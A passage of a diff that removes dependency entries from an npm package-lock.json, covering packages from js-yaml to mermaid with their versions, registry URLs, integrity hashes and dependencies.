"node_modules/js-yaml": { - "version": "3.14.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", - "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", - "dependencies": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/jsonc-parser": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.2.1.tgz", - "integrity": "sha512-AilxAyFOAcK5wA1+LeaySVBrHsGQvUFCDWXKpZjzaL0PqW+xfBOttn8GNtWKFWqneyMZj41MWF9Kl6iPWLwgOA==" - }, - "node_modules/katex": { - "version": "0.16.9", - "resolved": "https://registry.npmjs.org/katex/-/katex-0.16.9.tgz", - "integrity": "sha512-fsSYjWS0EEOwvy81j3vRA8TEAhQhKiqO+FQaKWp0m39qwOzHVBgAUBIXWj1pB+O2W3fIpNa6Y9KSKCVbfPhyAQ==", - "funding": [ - "https://opencollective.com/katex", - "https://github.com/sponsors/katex" - ], - "dependencies": { - "commander": "^8.3.0" - }, - "bin": { - "katex": "cli.js" - } - }, - "node_modules/khroma": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/khroma/-/khroma-2.1.0.tgz", - "integrity": "sha512-Ls993zuzfayK269Svk9hzpeGUKob/sIgZzyHYdjQoAdQetRKpOLj+k/QQQ/6Qi0Yz65mlROrfd+Ev+1+7dz9Kw==" - }, - "node_modules/kind-of": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", - "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/kleur": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz", - "integrity": "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==", - "engines": { - "node": ">=6" - } - }, - "node_modules/layout-base": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/layout-base/-/layout-base-1.0.2.tgz", - "integrity": "sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg==" - }, - "node_modules/lodash": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", - "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" - }, - "node_modules/lodash-es": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", - "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" - }, - "node_modules/lodash.get": { - "version": "4.4.2", - "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", - "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==" - }, - "node_modules/longest-streak": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", - "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/loose-envify": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", - "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", - "dependencies": { - "js-tokens": "^3.0.0 || ^4.0.0" - }, - "bin": { - "loose-envify": "cli.js" - } - }, - "node_modules/lru-cache": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", - "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", - "dependencies": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" - } - }, - "node_modules/markdown-extensions": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/markdown-extensions/-/markdown-extensions-1.1.1.tgz", - "integrity": "sha512-WWC0ZuMzCyDHYCasEGs4IPvLyTGftYwh6wIEOULOF0HXcqZlhwRzrK0w2VUlxWA98xnvb/jszw4ZSkJ6ADpM6Q==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/markdown-table": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.3.tgz", - "integrity": "sha512-Z1NL3Tb1M9wH4XESsCDEksWoKTdlUafKc4pt0GRwjUyXaCFZ+dc3g2erqB6zm3szA2IUSi7VnPI+o/9jnxh9hw==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/match-sorter": { - "version": "6.3.4", - "resolved": "https://registry.npmjs.org/match-sorter/-/match-sorter-6.3.4.tgz", - "integrity": "sha512-jfZW7cWS5y/1xswZo8VBOdudUiSd9nifYRWphc9M5D/ee4w4AoXLgBEdRbgVaxbMuagBPeUC5y2Hi8DO6o9aDg==", - "dependencies": { - "@babel/runtime": "^7.23.8", - "remove-accents": "0.5.0" - } - }, - "node_modules/mdast-util-definitions": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/mdast-util-definitions/-/mdast-util-definitions-5.1.2.tgz", - "integrity": "sha512-8SVPMuHqlPME/z3gqVwWY4zVXn8lqKv/pAhC57FuJ40ImXyBpmO5ukh98zB2v7Blql2FiHjHv9LVztSIqjY+MA==", - "dependencies": { - "@types/mdast": "^3.0.0", - "@types/unist": "^2.0.0", - "unist-util-visit": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-definitions/node_modules/unist-util-visit": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.2.tgz", - "integrity": "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0", - "unist-util-visit-parents": "^5.1.1" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-definitions/node_modules/unist-util-visit-parents": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", - "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-find-and-replace": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-2.2.2.tgz", - "integrity": "sha512-MTtdFRz/eMDHXzeK6W3dO7mXUlF82Gom4y0oOgvHhh/HXZAGvIQDUvQ0SuUx+j2tv44b8xTHOm8K/9OoRFnXKw==", - "dependencies": { - "@types/mdast": "^3.0.0", - "escape-string-regexp": "^5.0.0", - "unist-util-is": "^5.0.0", - "unist-util-visit-parents": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-find-and-replace/node_modules/unist-util-visit-parents": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", - "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-from-markdown": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-1.3.1.tgz", - "integrity": "sha512-4xTO/M8c82qBcnQc1tgpNtubGUW/Y1tBQ1B0i5CtSoelOLKFYlElIr3bvgREYYO5iRqbMY1YuqZng0GVOI8Qww==", - "dependencies": { - "@types/mdast": "^3.0.0", - "@types/unist": "^2.0.0", - "decode-named-character-reference": "^1.0.0", - "mdast-util-to-string": "^3.1.0", - "micromark": "^3.0.0", - "micromark-util-decode-numeric-character-reference": "^1.0.0", - "micromark-util-decode-string": "^1.0.0", - "micromark-util-normalize-identifier": "^1.0.0", - "micromark-util-symbol": "^1.0.0", - "micromark-util-types": "^1.0.0", - "unist-util-stringify-position": "^3.0.0", - "uvu": "^0.5.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-2.0.2.tgz", - "integrity": "sha512-qvZ608nBppZ4icQlhQQIAdc6S3Ffj9RGmzwUKUWuEICFnd1LVkN3EktF7ZHAgfcEdvZB5owU9tQgt99e2TlLjg==", - "dependencies": { - "mdast-util-from-markdown": "^1.0.0", - "mdast-util-gfm-autolink-literal": "^1.0.0", - "mdast-util-gfm-footnote": "^1.0.0", - "mdast-util-gfm-strikethrough": "^1.0.0", - "mdast-util-gfm-table": "^1.0.0", - "mdast-util-gfm-task-list-item": "^1.0.0", - "mdast-util-to-markdown": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm-autolink-literal": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-1.0.3.tgz", - "integrity": "sha512-My8KJ57FYEy2W2LyNom4n3E7hKTuQk/0SES0u16tjA9Z3oFkF4RrC/hPAPgjlSpezsOvI8ObcXcElo92wn5IGA==", - "dependencies": { - "@types/mdast": "^3.0.0", - "ccount": "^2.0.0", - "mdast-util-find-and-replace": "^2.0.0", - "micromark-util-character": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm-footnote": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/mdast-util-gfm-footnote/-/mdast-util-gfm-footnote-1.0.2.tgz", - "integrity": "sha512-56D19KOGbE00uKVj3sgIykpwKL179QsVFwx/DCW0u/0+URsryacI4MAdNJl0dh+u2PSsD9FtxPFbHCzJ78qJFQ==", - "dependencies": { - "@types/mdast": "^3.0.0", - "mdast-util-to-markdown": "^1.3.0", - "micromark-util-normalize-identifier": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm-strikethrough": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-1.0.3.tgz", - "integrity": "sha512-DAPhYzTYrRcXdMjUtUjKvW9z/FNAMTdU0ORyMcbmkwYNbKocDpdk+PX1L1dQgOID/+vVs1uBQ7ElrBQfZ0cuiQ==", - "dependencies": { - "@types/mdast": "^3.0.0", - "mdast-util-to-markdown": "^1.3.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm-table": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-1.0.7.tgz", - "integrity": "sha512-jjcpmNnQvrmN5Vx7y7lEc2iIOEytYv7rTvu+MeyAsSHTASGCCRA79Igg2uKssgOs1i1po8s3plW0sTu1wkkLGg==", - "dependencies": { - "@types/mdast": "^3.0.0", - "markdown-table": "^3.0.0", - "mdast-util-from-markdown": "^1.0.0", - "mdast-util-to-markdown": "^1.3.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm-task-list-item": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-1.0.2.tgz", - "integrity": "sha512-PFTA1gzfp1B1UaiJVyhJZA1rm0+Tzn690frc/L8vNX1Jop4STZgOE6bxUhnzdVSB+vm2GU1tIsuQcA9bxTQpMQ==", - "dependencies": { - "@types/mdast": "^3.0.0", - "mdast-util-to-markdown": "^1.3.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-math": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/mdast-util-math/-/mdast-util-math-2.0.2.tgz", - "integrity": "sha512-8gmkKVp9v6+Tgjtq6SYx9kGPpTf6FVYRa53/DLh479aldR9AyP48qeVOgNZ5X7QUK7nOy4yw7vg6mbiGcs9jWQ==", - "dependencies": { - "@types/mdast": "^3.0.0", - "longest-streak": "^3.0.0", - "mdast-util-to-markdown": "^1.3.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-mdx": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/mdast-util-mdx/-/mdast-util-mdx-2.0.1.tgz", - "integrity": "sha512-38w5y+r8nyKlGvNjSEqWrhG0w5PmnRA+wnBvm+ulYCct7nsGYhFVb0lljS9bQav4psDAS1eGkP2LMVcZBi/aqw==", - "dependencies": { - "mdast-util-from-markdown": "^1.0.0", - "mdast-util-mdx-expression": "^1.0.0", - "mdast-util-mdx-jsx": "^2.0.0", - "mdast-util-mdxjs-esm": "^1.0.0", - "mdast-util-to-markdown": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-mdx-expression": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/mdast-util-mdx-expression/-/mdast-util-mdx-expression-1.3.2.tgz", - "integrity": "sha512-xIPmR5ReJDu/DHH1OoIT1HkuybIfRGYRywC+gJtI7qHjCJp/M9jrmBEJW22O8lskDWm562BX2W8TiAwRTb0rKA==", - "dependencies": { - "@types/estree-jsx": "^1.0.0", - "@types/hast": "^2.0.0", - "@types/mdast": "^3.0.0", - "mdast-util-from-markdown": "^1.0.0", - "mdast-util-to-markdown": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-mdx-jsx": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-2.1.4.tgz", - "integrity": "sha512-DtMn9CmVhVzZx3f+optVDF8yFgQVt7FghCRNdlIaS3X5Bnym3hZwPbg/XW86vdpKjlc1PVj26SpnLGeJBXD3JA==", - "dependencies": { - "@types/estree-jsx": "^1.0.0", - "@types/hast": "^2.0.0", - "@types/mdast": "^3.0.0", - "@types/unist": "^2.0.0", - "ccount": "^2.0.0", - "mdast-util-from-markdown": "^1.1.0", - "mdast-util-to-markdown": "^1.3.0", - "parse-entities": "^4.0.0", - "stringify-entities": "^4.0.0", - "unist-util-remove-position": "^4.0.0", - "unist-util-stringify-position": "^3.0.0", - "vfile-message": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-mdx-jsx/node_modules/unist-util-remove-position": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-4.0.2.tgz", - "integrity": "sha512-TkBb0HABNmxzAcfLf4qsIbFbaPDvMO6wa3b3j4VcEzFVaw1LBKwnW4/sRJ/atSLSzoIg41JWEdnE7N6DIhGDGQ==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-visit": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-mdx-jsx/node_modules/unist-util-visit": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.2.tgz", - "integrity": "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0", - "unist-util-visit-parents": "^5.1.1" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-mdx-jsx/node_modules/unist-util-visit-parents": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", - "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-mdx-jsx/node_modules/vfile-message": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", - "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-stringify-position": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-mdxjs-esm": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-1.3.1.tgz", - "integrity": "sha512-SXqglS0HrEvSdUEfoXFtcg7DRl7S2cwOXc7jkuusG472Mmjag34DUDeOJUZtl+BVnyeO1frIgVpHlNRWc2gk/w==", - "dependencies": { - "@types/estree-jsx": "^1.0.0", - "@types/hast": "^2.0.0", - "@types/mdast": "^3.0.0", - "mdast-util-from-markdown": "^1.0.0", - "mdast-util-to-markdown": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-phrasing": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-3.0.1.tgz", - "integrity": "sha512-WmI1gTXUBJo4/ZmSk79Wcb2HcjPJBzM1nlI/OUWA8yk2X9ik3ffNbBGsU+09BFmXaL1IBb9fiuvq6/KMiNycSg==", - "dependencies": { - "@types/mdast": "^3.0.0", - "unist-util-is": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-to-hast": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.1.0.tgz", - "integrity": "sha512-/e2l/6+OdGp/FB+ctrJ9Avz71AN/GRH3oi/3KAx/kMnoUsD6q0woXlDT8lLEeViVKE7oZxE7RXzvO3T8kF2/sA==", - "dependencies": { - "@types/hast": "^3.0.0", - "@types/mdast": "^4.0.0", - "@ungap/structured-clone": "^1.0.0", - "devlop": "^1.0.0", - "micromark-util-sanitize-uri": "^2.0.0", - "trim-lines": "^3.0.0", - "unist-util-position": "^5.0.0", - "unist-util-visit": "^5.0.0", - "vfile": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-to-hast/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/mdast-util-to-hast/node_modules/@types/mdast": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.3.tgz", - "integrity": "sha512-LsjtqsyF+d2/yFOYaN22dHZI1Cpwkrj+g06G8+qtUKlhovPW89YhqSnfKtMbkgmEtYpH2gydRNULd6y8mciAFg==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/mdast-util-to-hast/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/mdast-util-to-hast/node_modules/micromark-util-character": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.0.tgz", - "integrity": "sha512-KvOVV+X1yLBfs9dCBSopq/+G1PcgT3lAK07mC4BzXi5E7ahzMAF8oIupDDJ6mievI6F+lAATkbQQlQixJfT3aQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/mdast-util-to-hast/node_modules/micromark-util-encode": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.0.tgz", - "integrity": "sha512-pS+ROfCXAGLWCOc8egcBvT0kf27GoWMqtdarNfDcjb6YLuV5cM3ioG45Ys2qOVqeqSbjaKg72vU+Wby3eddPsA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ] - }, - "node_modules/mdast-util-to-hast/node_modules/micromark-util-sanitize-uri": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.0.tgz", - "integrity": "sha512-WhYv5UEcZrbAtlsnPuChHUAsu/iBPOVaEVsntLBIdpibO0ddy8OzavZz3iL2xVvBZOpolujSliP65Kq0/7KIYw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "dependencies": { - "micromark-util-character": "^2.0.0", - "micromark-util-encode": "^2.0.0", - "micromark-util-symbol": "^2.0.0" - } - }, - "node_modules/mdast-util-to-hast/node_modules/micromark-util-symbol": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.0.tgz", - "integrity": "sha512-8JZt9ElZ5kyTnO94muPxIGS8oyElRJaiJO8EzV6ZSyGQ1Is8xwl4Q45qU5UOg+bGH4AikWziz0iN4sFLWs8PGw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ] - }, - "node_modules/mdast-util-to-hast/node_modules/micromark-util-types": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.0.tgz", - "integrity": "sha512-oNh6S2WMHWRZrmutsRmDDfkzKtxF+bc2VxLC9dvtrDIRFln627VsFP6fLMgTryGDljgLPjkrzQSDcPrjPyDJ5w==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ] - }, - "node_modules/mdast-util-to-hast/node_modules/unist-util-position": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz", - "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-to-hast/node_modules/unist-util-stringify-position": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", - "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-to-hast/node_modules/vfile": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", - "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-stringify-position": "^4.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-to-markdown": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-1.5.0.tgz", - "integrity": "sha512-bbv7TPv/WC49thZPg3jXuqzuvI45IL2EVAr/KxF0BSdHsU0ceFHOmwQn6evxAh1GaoK/6GQ1wp4R4oW2+LFL/A==", - "dependencies": { - "@types/mdast": "^3.0.0", - "@types/unist": "^2.0.0", - "longest-streak": "^3.0.0", - "mdast-util-phrasing": "^3.0.0", - "mdast-util-to-string": "^3.0.0", - "micromark-util-decode-string": "^1.0.0", - "unist-util-visit": "^4.0.0", - "zwitch": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-to-markdown/node_modules/unist-util-visit": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.2.tgz", - "integrity": "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0", - "unist-util-visit-parents": "^5.1.1" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-to-markdown/node_modules/unist-util-visit-parents": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", - "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-to-string": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-3.2.0.tgz", - "integrity": "sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==", - "dependencies": { - "@types/mdast": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mermaid": { - "version": "10.9.0", - "resolved": "https://registry.npmjs.org/mermaid/-/mermaid-10.9.0.tgz", - "integrity": "sha512-swZju0hFox/B/qoLKK0rOxxgh8Cf7rJSfAUc1u8fezVihYMvrJAS45GzAxTVf4Q+xn9uMgitBcmWk7nWGXOs/g==", - "dependencies": { - "@braintree/sanitize-url": "^6.0.1", - "@types/d3-scale": "^4.0.3", - "@types/d3-scale-chromatic": "^3.0.0", - "cytoscape": "^3.28.1", - "cytoscape-cose-bilkent": "^4.1.0", - "d3": "^7.4.0", - "d3-sankey": "^0.12.3", - "dagre-d3-es": "7.0.10", - "dayjs": "^1.11.7", - "dompurify": "^3.0.5", - "elkjs": "^0.9.0", - "katex": "^0.16.9", - "khroma": "^2.0.0", - "lodash-es": "^4.17.21", - "mdast-util-from-markdown": "^1.3.0", - "non-layered-tidy-tree-layout": "^2.0.2", - "stylis": "^4.1.3", - "ts-dedent": "^2.2.0", - "uuid": "^9.0.0", - "web-worker": "^1.2.0" - } - }, - "node_modules/micromark": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/micromark/-/micromark-3.2.0.tgz", - "integrity": 